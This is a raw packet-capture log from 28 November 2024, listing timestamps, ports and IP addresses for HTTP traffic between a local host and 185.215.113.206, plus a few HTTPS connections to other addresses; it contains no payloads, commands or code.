Nov 28, 2024 17:24:45.394982100 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.395006895 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.395028114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.395895004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.396022081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.396049976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.396064043 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.397064924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.397173882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.397219896 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.397950888 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.398001909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.398025990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.398065090 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.399116993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.399215937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.399281025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.400178909 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.400230885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.400248051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.400296926 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.401101112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.401141882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.401262045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.401298046 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.401868105 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.401953936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.401989937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.402025938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.402448893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.402487993 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.402558088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.402600050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.402993917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.403032064 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.403053045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.403067112 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.403551102 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.403620005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.403642893 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.403657913 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.403970003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.404079914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.404103994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.404138088 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.404443026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.404496908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.404534101 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.404593945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.404886007 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.404905081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.404938936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.404953957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.405383110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.405442953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.405494928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.405652046 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.405942917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.405956030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.406011105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.406318903 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.406357050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.406480074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.406531096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.407072067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.407129049 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.407154083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.407396078 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.407731056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.407957077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.407974005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.408015013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.408459902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.408519030 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.408605099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.408654928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.409178972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.409238100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.409363985 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.409430981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.409889936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.409984112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.410021067 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.410052061 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.410584927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.410770893 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.410913944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.410955906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.411323071 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.411364079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.411417961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.411458969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.412075996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.412138939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.412168980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.412200928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.412874937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.412916899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.412939072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.412972927 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.413470030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.413482904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.413549900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.450246096 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.450267076 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.450273991 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.450356960 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.450364113 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.450373888 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.450392962 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.450409889 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.450424910 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.450424910 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.450440884 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.450460911 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.516045094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.516058922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.516114950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.516192913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.516230106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.516380072 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.516622066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.516901970 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.516956091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.517010927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.517117977 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.517616034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.517663956 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.517708063 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.517863989 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.518366098 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.518419027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.518451929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.518495083 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.519048929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.519062996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.519102097 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.519117117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.519925117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.519984007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.520056963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.520097017 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.520687103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.520741940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.520811081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.520878077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.521270990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.521282911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.521327019 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.521900892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.521954060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.521981001 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.522022009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.522598028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.522623062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.522651911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.522679090 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.523327112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.523478985 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.523483992 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.523513079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.524060965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.524120092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.524223089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.524272919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.524852991 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.524897099 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.524972916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.525085926 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.525501966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.525542974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.525605917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.525654078 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.526221037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.526283026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.526396036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.526431084 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.526943922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.526989937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.527096033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.527137995 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.527589083 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.527652025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.527730942 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.527776957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.528388023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.528438091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.528497934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.528538942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.529136896 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.529190063 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.529249907 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.529292107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.529721975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.529774904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.592281103 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.592341900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.592381954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.592417002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.592576981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.592648029 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.592729092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.592803955 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.593283892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.593338013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.593364954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.593545914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.593987942 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.594080925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.594217062 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.594268084 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.594335079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.594400883 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.595065117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.595077991 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.595103025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.595122099 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.595766068 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.595815897 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.595853090 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.595895052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.596438885 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.596489906 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.596601009 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.596652031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.597069979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.597120047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.597138882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.597173929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.597855091 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.597906113 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.597965956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.598007917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.598494053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.598542929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.598603964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.598650932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.599200964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.599355936 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.599392891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.599956989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.599997997 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.600027084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.600069046 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.600701094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.600753069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.600868940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.600966930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.601383924 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.601429939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.601485014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.602026939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.602077007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.602205038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.602298975 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.602821112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.602879047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.602982044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.603061914 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.603518963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.603569984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.603647947 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.603723049 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.604229927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.604280949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.604310036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.604352951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.604933023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.604981899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.605029106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.605070114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.605621099 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.605669022 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.605704069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.605752945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.606324911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.606369972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.606372118 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.606481075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.607141018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.607153893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.607189894 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.607805967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.607942104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.607986927 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.608515978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.608567953 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.608592987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.608632088 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.609270096 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.609319925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.609381914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.609452009 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.609929085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.609976053 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.610024929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.610064983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.610630035 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.610676050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.610794067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.610855103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.611366034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.611413002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.611506939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.611555099 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.612055063 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.612103939 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.612165928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.612206936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.612807989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.612859964 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.612912893 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.612955093 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.613522053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.613574028 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.613578081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.613612890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.614243031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.614295959 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.614331961 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.614429951 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.614967108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.615010977 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.615039110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:45.615071058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:45.618601084 CET	49880	443	192.168.2.6	23.209.72.14
Nov 28, 2024 17:24:45.618634939 CET	443	49880	23.209.72.14	192.168.2.6
Nov 28, 2024 17:24:45.618690968 CET	49880	443	192.168.2.6	23.209.72.14
Nov 28, 2024 17:24:45.618922949 CET	49880	443	192.168.2.6	23.209.72.14
Nov 28, 2024 17:24:45.618935108 CET	443	49880	23.209.72.14	192.168.2.6
Nov 28, 2024 17:24:45.632318974 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.632355928 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.632380962 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.632388115 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.632424116 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.632441998 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.684557915 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.684585094 CET	443	49870	13.107.246.40	192.168.2.6
Nov 28, 2024 17:24:45.684637070 CET	49870	443	192.168.2.6	13.107.246.40
Nov 28, 2024 17:24:45.684643984 CET	443	49870	13.107.246.40	192.168.2.6
